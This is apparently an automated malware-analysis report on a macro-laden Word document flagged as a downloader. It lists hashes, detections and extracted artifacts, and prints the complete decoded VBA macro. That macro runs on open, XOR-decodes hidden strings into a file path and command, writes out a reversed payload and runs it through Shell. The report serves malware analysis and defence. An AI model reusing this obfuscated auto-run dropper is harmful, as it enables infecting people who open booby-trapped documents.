Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6ad7fbd48edc86f8…

MALICIOUS

Office (OOXML)

75.1 KB Created: 2021-01-27 10:39:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-23
MD5: 507099f72cc63026feafd162c8ea6856 SHA-1: ff49f93679284c7c9e79b7cce8ad9bbc3e52777a SHA-256: 6ad7fbd48edc86f8f9c46922cb80c0f8cd9148796e284119527dc54e1f64ce87
150 Risk Score

Heuristics 5

  • ClamAV: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell aImg0 & " " & aMvmhq
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2004 bytes
SHA-256: 132b585aee9652695eb7020ed82b5426780057f8fb5714fe78b3bafe533f32c6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aqj05"
Sub AutoOpen()
aC8yb
End Sub

Attribute VB_Name = "a5rKY"
Function aa7iLD(Original_String)
Dim Reversed_String As String
Dim Next_Char As String
Dim Length As Integer
Dim Pos As Integer
Length = Len(Original_String)
Reversed_String = ""
For Pos = Length To 1 Step -1
Next_Char = Mid(Original_String, Pos, 1)
Reversed_String = Reversed_String & Next_Char
Next Pos
aa7iLD = Reversed_String
End Function
Function aKfYDQ(axRl1M)
aKfYDQ = Chr(axRl1M)
End Function
Function aJF0o(ayi3I)
aJF0o = Split(ayi3I, Chr(11 + 11 + 11 + 11))
End Function
Sub aBMZwl(afXnz1, avQuj)
Open afXnz1 For Output As #1
Print #1, avQuj
Close #1
End Sub

Attribute VB_Name = "auQOL"
Public Const aqeLUA As String = "106,119,127,99,96,125,106,125"
Public Const aPUCNq As String = "108,53,83,127,125,96,104,125,110,98,107,110,123,110,83,110,63,66,85,126,33,103,123,110"
Function aP5eW(agBvTo, ajTQp9)
aP5eW = agBvTo Xor ajTQp9
End Function
Function aQOBS(afLHIV As Variant)
Dim atVwB7 As String
atVwB7 = ""
aHatF = UBound(afLHIV)
For a53qTM = 0 To aHatF
aPB8T = aKfYDQ(aP5eW(afLHIV(a53qTM), 15))
atVwB7 = atVwB7 & aPB8T
Next a53qTM
aQOBS = atVwB7
End Function
Sub aC8yb()
aBt7U = ActiveDocument.Content
aImg0 = aQOBS(aJF0o(aqeLUA))
aMvmhq = aQOBS(aJF0o(aPUCNq))
aBMZwl aMvmhq, aa7iLD(aBt7U)
Shell aImg0 & " " & aMvmhq
End Sub

Attribute VB_Name = "aRBYm0"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function aYxHAE(asE95)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 7a2422c7c9de57b2b1160f42bcc4b6a1a837134cbfd9ced11712df1553d70324

Open this report in the interactive analyzer, or submit your own file for analysis.